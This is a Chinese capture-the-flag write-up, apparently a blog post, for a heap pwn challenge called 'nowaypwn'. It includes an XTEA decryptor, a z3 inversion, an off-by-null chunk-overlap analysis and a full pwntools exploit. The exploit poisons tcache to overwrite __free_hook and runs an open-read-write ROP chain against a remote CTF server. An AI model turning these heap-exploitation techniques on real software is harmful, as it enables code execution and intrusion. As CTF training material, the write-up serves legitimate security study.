只有一个 pwn 题。
nowaypwn 在 main 函数等处存在反反编译的指令段:
经过简单分析后可以发现即使 nop 掉这个指令段也不影响程序的顺序执行
nop 掉后可以发现下面的菜单堆题的结构:
xtea 要到菜单堆题处,先要解决一个 xtea 的加密问题。
同样该加密函数中也有上面提到的指令段,nop 掉后部分反编译后的代码如下:
只用解决后一个的解密就行了:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 #include <stdio.h> #include <stdint.h> void encrypt (unsigned int num_rounds, uint32_t v[2 ], uint32_t key[4 ], unsigned int delta) { uint32_t v0=v[0 ], v1=v[1 ], sum=0 ; for (int i=0 ; i<num_rounds; i++){ v0 += (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); sum += delta; v1 += (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum>>11 ) & 3 ]); } v[0 ] = v0; v[1 ] = v1; } void decrypt (unsigned int num_rounds, uint32_t v[2 ], uint32_t key[4 ], unsigned int delta) { uint32_t v0=v[0 ], v1=v[1 ], sum=0 ; for (int i = 0 ; i < num_rounds; i++) sum += delta; for (int i=0 ; i<num_rounds; i++){ v1 -= (((v0 << 4 ) ^ (v0 >> 5 )) + v0) ^ (sum + key[(sum>>11 )&3 ]); sum -= delta; v0 -= (((v1 << 4 ) ^ (v1 >> 5 )) + v1) ^ (sum + key[sum & 3 ]); } v[0 ] = v0; v[1 ] = v1; } int main (void ) { uint32_t v[2 ]={0x105d191e , 0x98e870c8 }; uint32_t k[4 ]={0x28371234 , 0x19283543 , 0x19384721 , 0x98372612 }; decrypt(17 , v, k, 0x14872109 ); printf ("%#x %#x\n" ,v[0 ],v[1 ]); return 0 ; }
编译运行后得到结果:
encrypt 简单分析后发现该菜单堆题有如下的功能:
show_encrypted_chunk_content
中调用了 encrypt
,如下:
可以用 z3 计算出原值。
off-by-null nop 掉 edit 函数中的无用指令段后,发现明显的 off-by-null 漏洞:
当 chunk_size 的最低字节为 0x11 时,它会被覆盖为 ‘\x00’
libc 版本确定 首先尝试触发一些保护,下面是远程和本地(libc 版本为 2.31)的输出
1 2 3 4 5 6 7 8 9 10 11 12 Remote: corrupted size vs. prev_size [*] Got EOF while reading in interactive Local: $ vim exp_nowaypwn.py $ vim exp_nowaypwn.py $ python3 exp_nowaypwn.py [+] Starting local process './nowaypwn': pid 32482 [*] Switching to interactive mode malloc(): invalid next size (unsorted) [*] Got EOF while reading in interactive
可以发现对于相同的错误,远程和本地的输出不一样。
经过比对后,我发现 2.27 release 的 glibc 没有 malloc(): invalid next size (unsorted)
的检查,据此猜测远程 glibc 版本为 2.27
chunk overlap 利用 2.27 中的 off-by-null,我们可以构造 chunk overlap,修改一个 tcache chunk 的 fd 指向 __free_hook
,修改 __free_hook
指向 setcontent
中的 gadget,orw 获得 flag。
libc 和 heap 地址则可以通过 show_encrypted_chunk_content
+ z3 解密获得。
需要注意的是程序使用了 libseccomp 禁止了 execve
系统调用,而且 libseccomp 中的一些函数会把堆风水弄得乱七八糟,尽量申请 size 大于 0x100 的 chunk 可以保持堆风水的稳定
exp 要多试几个 2.27 的 libc
远程环境不稳定,花了好一会才得到 flag
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 from pwn import *from z3 import *libc = ELF("/home/jkilopu/Workspace/shellscript/glibc-all-in-one/libs/2.27-3ubuntu1_amd64/libc-2.27.so" ) io = remote("123.60.222.67" , 8888 ) io.sendafter("Give me your name:" , "jkilopu" ) io.sendafter("Give me your key:" , "jjjjjjjjjjj" ) io.sendafter("Input your secret!:\n" , p32(0x6c657375 ) + p32(0x21737365 )) def add (size) : sleep(0.2 ) io.send('4' ) sleep(0.2 ) io.send(str(size)) def edit (idx, content) : sleep(0.2 ) io.send('1' ) sleep(0.2 ) io.send(str(idx)) sleep(0.2 ) io.send(content) def show (idx) : sleep(0.2 ) io.send('2' ) sleep(0.2 ) io.send(str(idx)) def delete (idx) : sleep(0.2 ) io.send('3' ) sleep(0.2 ) io.send(str(idx)) def solve (target) : a1 = BitVec('a1' , 32 ) x = a1 for _ in range(2 ): x ^= (32 * x) ^ LShR((x ^ (32 * x)), 17 ) ^ (((32 * x) ^ x ^ LShR((x ^ (32 * x)), 17 )) << 13 ) s = Solver() s.add(x == target) assert s.check() == sat return (s.model()[a1].as_long()) def recv_chunk_content () : v1 = int(io.recvuntil('\n' , drop=True ), 16 ) v2 = int(io.recvuntil('\n' , drop=True ), 16 ) v1 = solve(v1) v2 = solve(v2) val = (v2 << 32 ) + v1 return val add(0x138 ) add(0x148 ) for i in range(8 ): add(0x128 ) for i in range(8 ): delete(9 - i) for i in range(7 ): add(0x128 ) add(0x108 ) show(9 ) libc.address = recv_chunk_content() - 0x190 - libc.symbols["__malloc_hook" ] print("libc.address = " + hex(libc.address)) for i in range(7 ): delete(i + 2 ) for i in range(7 ): add(0xf8 ) for i in range(7 ): delete(i + 2 ) for i in range(7 ): add(0x138 ) for i in range(7 ): delete(i + 2 ) delete(0 ) edit(1 , b'a' * 0x148 ) edit(9 , b'b' * 0xf8 + p64(0x161 )) edit(1 , b'c' * 0x140 + p64(0x290 )) delete(9 ) add(0x200 ) delete(1 ) edit(0 , b'd' * 0x140 + p64(libc.symbols["__free_hook" ])) add(0x148 ) add(0x148 ) add(0x128 ) show(3 ) chunk_0_addr = recv_chunk_content() - 0x9b0 - 0x10 print("chunk_0_addr = " + hex(chunk_0_addr)) p_rdi = libc.address + 0x2155f p_rsi = libc.address + 0x23e6a p_rdx = libc.address + 0x1b96 orw_payload = p64(p_rdi) * 2 + p64(chunk_0_addr + 0x10 + 0xa0 + 0x10 ) + p64(p_rsi) + p64(0 ) + p64(libc.symbols["open" ]) orw_payload += p64(p_rdi) + p64(3 ) + p64(p_rsi) + p64(chunk_0_addr + 0x2000 ) + p64(p_rdx) + p64(0x40 ) + p64(libc.symbols["read" ]) orw_payload += p64(p_rdi) + p64(1 ) + p64(p_rsi) + p64(chunk_0_addr + 0x2000 ) + p64(p_rdx) + p64(0x40 ) + p64(libc.symbols["write" ]) edit(0 , (orw_payload).ljust(0xa0 , b'\x00' ) + p64(chunk_0_addr + 0x10 ) + p64(p_rdi) + b"flag.txt\x00" ) rsp_rdi_ret = libc.address + 0x520A5 edit(2 , p64(rsp_rdi_ret)) delete(0 ) io.interactive()
签到 按照网页的提示做:
然后用 hackbar 提交 post 请求:
得到 flag。
其它
提前规划好堆风水挺重要的,可以减少很多错误
有时候远程返回 EOF 只是因为连接断了,不一定是 exp 错了。
小心有诈。。。